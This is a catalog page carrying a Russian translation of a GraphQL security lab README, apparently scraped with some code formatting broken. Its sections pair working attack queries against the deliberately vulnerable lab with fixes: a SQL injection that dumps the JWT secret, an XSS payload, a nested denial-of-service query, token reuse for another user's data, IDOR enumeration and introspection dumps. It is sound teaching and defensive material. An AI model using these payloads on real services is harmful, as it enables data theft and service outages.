Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/righettod/poc-graphql
Анализ уязвимостейЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и ПрактикаArchived
GitHubrighettod/poc-graphql

poc-graphql

Исследование GraphQL с точки зрения AppSec.

Репозиторий
418593 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Build and deploy the image

Содержание

  • Содержание
  • Исследование GraphQL
    • Цель
    • Лабораторные работы
    • Развёртывание в Docker
    • Уязвимости безопасности
      • Авторизация
        • Проблема
        • Рекомендация
      • Инъекции
        • Проблема
        • Рекомендация
      • Истощение ресурсов
        • Проблема
        • Рекомендация
      • Раскрытие приватных данных
        • Проблема
        • Рекомендация
      • Раскрытие технической информации при неожиданной ошибке
        • Проблема
        • Рекомендация
      • Небезопасная прямая ссылка на объект
        • Проблема
      • Раскрытие API неверному кругу клиентов
        • Проблема
          • Включение WebSocket-эндпоинта по умолчанию для подписок
          • Включение CORS по умолчанию
        • Рекомендация
    • Запросы для обнаружения
    • Использованные источники
      • GraphQL
      • Лабораторные работы

Исследование GraphQL

Цель

  1. Изучить, что такое GraphQL.
  2. Проанализировать использование GraphQL с точки зрения AppSec (атаки и защиты).
  3. Выявить потенциальные уязвимости, которые могут быть использованы для атак.

Лабораторные работы

Была создана лабораторная работа для изучения различных проблем, которая выполнена в контексте ветеринарной клиники, занимающейся лечением собак.

Лабораторная работа разработана с использованием IntelliJ IDEA Community Edition.

Используются следующие домены:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

root@kitploit:~
Вот условия и предположения лабораторной работы:

* Ветеринар может быть связан с 0 или N собаками.
* Собака может быть связана с 0 или 1 ветеринаром.
* Ветеринар имеет свойство **Популярность**, которое хранится в базе данных, но не должно быть доступно для клиента GraphQL, так как это конфиденциальная информация.
* Точка потребления данных GraphQL — это ветеринар. Информация о собаках является публичной.
* Лабораторная работа явно является уязвимым приложением, в котором реализовано несколько уязвимостей, идентифицированных с помощью маркера `[VULN]` в комментариях.
* Что касается аутентификации, был реализован поддельный сторонний сервис (через сервлет), который возвращает JWT-токен, содержащий имя ветеринара в самом токене.

После запуска с помощью конфигурации запуска в проекте или командной строки `mvn spring-boot:run` лабораторная работа доступна по следующим конечным точкам:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

Для упаковки приложения в виде переносимого jar-файла используйте команду `mvn package` (предварительно собранный jar-файл доступен [здесь](https://github.com/righettod/poc-graphql/releases)):
* Jar-файл будет создан в папке *target* и будет называться *graphql-poc.jar*.
* Используйте команду `java -jar graphql-poc.jar` для запуска приложения.

## Развертывание в Docker

> Образ публикуется ежедневно на [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)

Для развертывания приложения в Docker-контейнере выполните следующие шаги:

1. Убедитесь, что у вас установлен `docker`.
2. `git clone` репозиторий.
3. Перейдите в клонированную директорию.
4. Соберите Docker-образ с помощью `docker build -t poc-graphql .`
5. Теперь на вашем компьютере создан образ с именем **poc-graphql:latest**.
6. Запустите контейнер с помощью `docker run -p 8080:8080 poc-graphql:latest`
7. Получите доступ к лабораторной работе по следующим конечным точкам:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql) 

## Уязвимости в безопасности

### Авторизация

*нарушение управления доступом*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### Проблема

Поскольку GraphQL основан на одной конечной точке, на которую отправляются все запросы, а авторизация выходит за рамки спецификации (нет встроенных функций).

Приложение должно самостоятельно реализовывать логику авторизации.

В моей лабораторной работе есть уязвимость в этом месте, так как проверка токена доступа не проверяет, принадлежит ли токен ветеринару, переданному в **veterinaryId**

**Пример:**

Я запрашиваю токен доступа для **Доктора Жюльена**, который имеет идентификатор **3** в хранилище, отправляя этот GraphQL-запрос:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

Я получаю токен доступа в следующем ответе GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

root@kitploit:~
Я отправляю GraphQL-запрос к запросу `myInfo(...)`, используя полученный токен доступа, НО указываю идентификатор **2**, который является идентификатором **доктора Бенуа**:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

Я получаю в ответе GraphQL список собак, связанных с Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

root@kitploit:~
#### Рекомендация

С помощью GraphQL мы перешли от матрицы авторизации с использованием `Role x Feature` к безопасности на уровне данных с использованием `Role x Data`, потому что это также единые конечные точки. Идентичность и роли пользователя должны передаваться на верхний уровень, отвечающий за получение данных (или воздействие на них), чтобы применить проверку с использованием идентичности пользователя перед получением данных.

### Инъекция

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### Проблема

В зависимости от того, как информация из GraphQL-запроса/мутации/подписки используется сервером GraphQL для воздействия на хранилища данных, существует возможность внедрения.

В моих лабораторных работах есть уязвимость в этом месте, связанная с SQLi в запросе `dogs(namePrefix: String, limit: Int = 500): [Dog!]`, так как параметр **namePrefix** используется в конкатенации строк для построения SQL-запроса.

**Пример:**

Я отправляю этот GraphQL-запрос, чтобы вывести содержимое таблицы `CONFIG````javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

В ответе GraphQL я получаю секрет, используемый для подписи JWT token, вместе с именем собаки, название которой начинается на ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

root@kitploit:~
Относительно XSS интересно отметить, что ответ GraphQL отражает параметр, отправленный в случае неудачной проверки отправленного запроса.

**Пример:**

Я отправляю этот GraphQL-запрос к запросу `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, я заменяю идентификатор Veterinary (который является целым числом) на строковую XSS-нагрузку:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

Я получаю этот ответ GraphQL, который отражает мою нагрузку, поэтому, в зависимости от поведения GraphQL-клиента и его механизма экранирования/санитизации, это может открыть путь для XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

root@kitploit:~
#### Рекомендации

* Применяйте проверку входных данных, полученных через Query/Mutation/Subscription, перед их использованием
* Убедитесь, что клиент, отображающий данные из ответа GraphQL, применяет экранирование/санитизацию данных перед их отображением.

### Истощение ресурсов

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### Проблема

Поскольку клиент контролирует объем запрашиваемых данных, он может отправить запрос GraphQL к запросу, который вызывает истощение ресурсов в хранилищах, вызываемых сервером GraphQL, а также самого сервера GraphQL при сериализации данных в JSON.

Эта проблема может также возникнуть при использовании мутации путем отправки большого объема данных в параметрах (проверка входных данных может быть использована для предотвращения этой атаки).

Эта проблема может также возникнуть при использовании подписки путем:

* Регистрации большого количества подписчиков на каждую опубликованную подписку.
* Отправки большого объема данных в параметрах, используемых подписками.

В моих лабораторных работах уязвимость в этом моменте присутствует для запроса, а именно в запросе `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`, который доступен анонимному пользователю и извлекает содержимое базы данных о собаках. Поскольку существует связь между собаками и ветеринаром, и обратная, то можно выполнить каскадные вызовы, вызывающие истощение ресурсов на уровне SQL в базе данных.

**Пример:**

Когда я отправляю этот запрос, мой CPU загружается на 100% на несколько минут, а моя база данных локальная, потому что это SQLite```javascript
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

PROOF00

Рекомендации

Для запроса:

В зависимости от реализации сервера GraphQL используйте встроенную защиту, предоставляемую для Maximum Query Depth и Query Complexity (см. спецификации здесь).

Для реализации на Java добавьте следующие 2 класса инструментария в стратегию выполнения:

  • Защита от сложности запроса
  • Защита от глубины запроса

См. этот класс для примера использования двух вышеуказанных инструментариев.

Для Мутации/Подписки:

  • Используйте проверку ввода, чтобы ограничить размер принимаемых данных.
  • Добавьте ограничение на количество подписчиков на уровне кода.

Разглашение личных данных

CWE-359

Проблема

В GraphQL клиенту предоставляется функция интроспекции для доступа к схеме API, чтобы узнать доступные данные, запросы, мутации и подписки на них.

Примечание: Отключение Introspection нарушает спецификацию GraphQL и ожидания большинства клиентов, поэтому используйте это с осторожностью; с точки зрения бизнеса предпочтительнее фильтровать доступ, а не отключать его.

Это означает, что любой клиент может просматривать схему, чтобы увидеть в Type, не разглашаются ли какие-либо интересные конфиденциальные данные (то же самое касается действий в отношении раскрытых Mutation или Subscription).

Используя GraphiQL через панель Documentation Explorer или этот скрипт, можно просмотреть схему, раскрытую конечной точкой GraphQL.

В моей лаборатории я по ошибке раскрыл информацию о популярности, считающуюся конфиденциальной, о ветеринарном враче в типе Veterinary.

В моей лаборатории этот url позволяет получить копию схемы.

Пример:

Используя панель Documentation Explorer, я нашел это поле:

PROOF01

PROOF02

PROOF03

Рекомендации

Ограничение аутентификации может быть установлено на доступ к конечной точке GraphQL, чтобы предотвратить раскрытие анонимному пользователю, но любой аутентифицированный пользователь получит доступ к этой схеме информации.

Даже если клиент может увидеть структуру типа, раскрывающего конфиденциальную информацию, для просмотра этой информации ему необходимо иметь разрешение на Query/Mutation/Subscription, возвращающий эти данные.

Не отображайте конфиденциальную информацию в типы, определенные в схеме.

Поскольку GraphQL материализует то, как клиент будет потреблять данные, GraphQL не должен раскрывать все данные, доступные в связанном хранилище, а только те, которые полезны клиенту в соответствии с бизнес-контекстом раскрываемого API GraphQL.

Раскрытие технической информации в случае непредвиденной ошибки

CWE-200

Проблема

Когда сервер GraphQL сталкивается с непредвиденной ошибкой (ввод-вывод с хранилищами, NullPointerException, Timeout...), ответ указывает Internal Server Error(s) while executing query, что дает подсказку атакующему о том, что он воздействовал на систему и вызвал неожиданное поведение.

Пример:

Когда я отправляю этот запрос в своей лаборатории (неверный токен):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

root@kitploit:~
Я получаю этот ответ, который сообщает мне, что я воздействовал на систему и вызвал неожиданное поведение. Возможно, например, я сгенерировал трассировку стека в логе приложения, и если файлы логов приложения ротируются по дате (ежедневно), а не по размеру, то я могу отправить этот запрос несколько раз, чтобы заполнить диск журналами ошибок...```javascript
{
  "data": {
    "myInfo": null
  },
  "errors": [
    {
      "message": "Internal Server Error(s) while executing query",
      "path": null,
      "extensions": null
    }
  ]
}

Рекомендация

Возвращайте общую ошибку при обнаружении неожиданной ошибки, например, Запрос не может быть обработан!

Пример можно посмотреть в этом классе.

Небезопасная прямая ссылка на объект

CWE-639

Проблема

Если GraphQL API предоставляет Query/Mutation/Subscription, идентификаторы данных которых угадываемы/предсказуемы, то эти Query/Mutation/Subscription подвержены атаке IDOR. В такой атаке злоумышленник использует специально созданный список идентификаторов, чтобы попытаться получить доступ или выполнить действие над данными, идентификатор которых есть в списке. Действие будет успешным, если также присутствуют проблемы авторизации в целевом Query/Mutation/Subscription, обрабатывающем целевые данные.

GraphQL API Query/Mutation/Subscription, представленные в моих лабораторных работах, уязвимы для IDOR, поскольку я использую последовательные целые числа в качестве уникальных идентификаторов для Dog и Veterinary.

Пример:

Используя Documentation Explorer в GraphiQL, мы видим, что идентификаторы являются простыми целыми числами и последовательны:

PROOF04

PROOF05

Запрос для обнаружения IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

root@kitploit:~
В ответе отображается последовательный идентификатор для Dog и Veterinay:```javascript
{
  "data": {
    "allDogs": [
      {
        "id": 1,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 2,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 3,
        "veterinary": {
          "id": 1
        }
      },
  ...
  {
        "id": 55,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 56,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 57,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 58,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 59,
        "veterinary": {
          "id": 2
        }
  ...

Раскрытие API для неправильной сферы клиентов

CWE-668

Проблема

При использовании сервера реализации GraphQL для построения вашего GraphQL API может случиться так, что этот сервер по умолчанию включает некоторые функции, которые раскрывают GraphQL API для неправильной сферы клиентов.

Включение WebSocket конечной точки для подписок по умолчанию

В моей лаборатории это так, потому что по умолчанию WebSocket конечная точка открыта по пути /subscriptions и не требует аутентификации (см. эту документацию, а именно раздел Realtime Updates with Subscriptions):

PROOF08

Клиенты могут получить доступ к данным API через эту конечную точку, если схема объявляет подписки в разделе Subscription.

Пример:

Я вижу подписки, раскрытые через схему:

PROOF09

Если я отправлю этот запрос на подписку для получения события от подписки newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }

root@kitploit:~
Я получаю следующее сообщение, указывающее, что отныне я буду получать информацию по этой подписке:```text
Your subscription data will appear here after server publication!

И когда я создаю ассоциацию через этот мутационный запрос в другом браузере, например:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

root@kitploit:~
Ответ мутации доказывает, что действие выполнено на уровне данных:```javascript
{
  "data": {
    "associateDogToMe": {
      "name": "Dobby"
    }
  }
}

Через мгновение я получаю это уведомление в ответ на мою подписку:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

root@kitploit:~
![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)

##### Включение Cross-Origin Resource Sharing по умолчанию

В моей лаборатории это так, потому что по умолчанию [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) включен и установлен на `*`, поэтому API может вызываться с любого `origin`.

**Пример:**

Когда я отправляю этот запрос, в котором указываю другой `origin` от *domain1.local* до *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}

Я получаю этот ответ:

root@kitploit:~
...code...
``````text
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 3562
Date: Sat, 05 Jan 2019 16:23:47 GMT

{"data":{"allDogs":[{"name":"Abi"},...

Вызов из браузера:

PROOF06

PROOF07

Рекомендации

Проверьте функции, включенные по умолчанию, и отключите их, если это влияет на раскрытие API.

Для конечной точки Subscriptions:

  • Если вы раскрываете подписку, убедитесь, что для каждой подписки, раскрытой в схеме, настроены аутентификация и контроль доступа.
  • Если вы не раскрываете подписку, отключите конечную точку WebSocket или заблокируйте эту конечную точку на уровне WAF/сервера приложений.

В моей лаборатории нужно было установить следующие параметры в этом файле конфигурации:

  • Для CORS: graphql.servlet.corsEnabled=false
  • Для WebSocket: graphql.servlet.websocket.enabled=false

Запросы обнаружения

Следующие запросы можно использовать для получения схемы.

Не подробно:```javascript { __schema { types { name kind description fields { name } } } }

root@kitploit:~
Подробно:```javascript
 query IntrospectionQuery {
  __schema {
	  queryType {
		  name
	  }
	  mutationType {
		  name
	  }
	  subscriptionType {
		  name
	  }
	  types {
		  ...FullType
	  }
	  directives {
		  name
		  description
		  locations
		  args {
			  ...InputValue
		  }
	  }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
	  name
	  description
	  args {
		  ...InputValue
	  }
	  type {
		  ...TypeRef
	  }
	  isDeprecated
	  deprecationReason
  }
  inputFields {
	  ...InputValue
  }
  interfaces {
	  ...TypeRef
  }
  enumValues(includeDeprecated: true) {
	  name
	  description
	  isDeprecated
	  deprecationReason
  }
  possibleTypes {
	  ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type {
	  ...TypeRef
  }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
	  kind
	  name
	  ofType {
		  kind
		  name
		  ofType {
			  kind
			  name
			  ofType {
				  kind
				  name
				  ofType {
					  kind
					  name
					  ofType {
						  kind
						  name
						  ofType {
							  kind
							  name
						  }
					  }
				  }
			  }
		  }
	  }
  }
}

Используемые источники

GraphQL

  • Сайт GraphQL
  • Учебники по GraphQL
  • Блог DOYENSEC о проблемах GraphQL

Лабораторные работы

  • graphql-spring-boot
  • graphql-java-kickstart
Скачать инструмент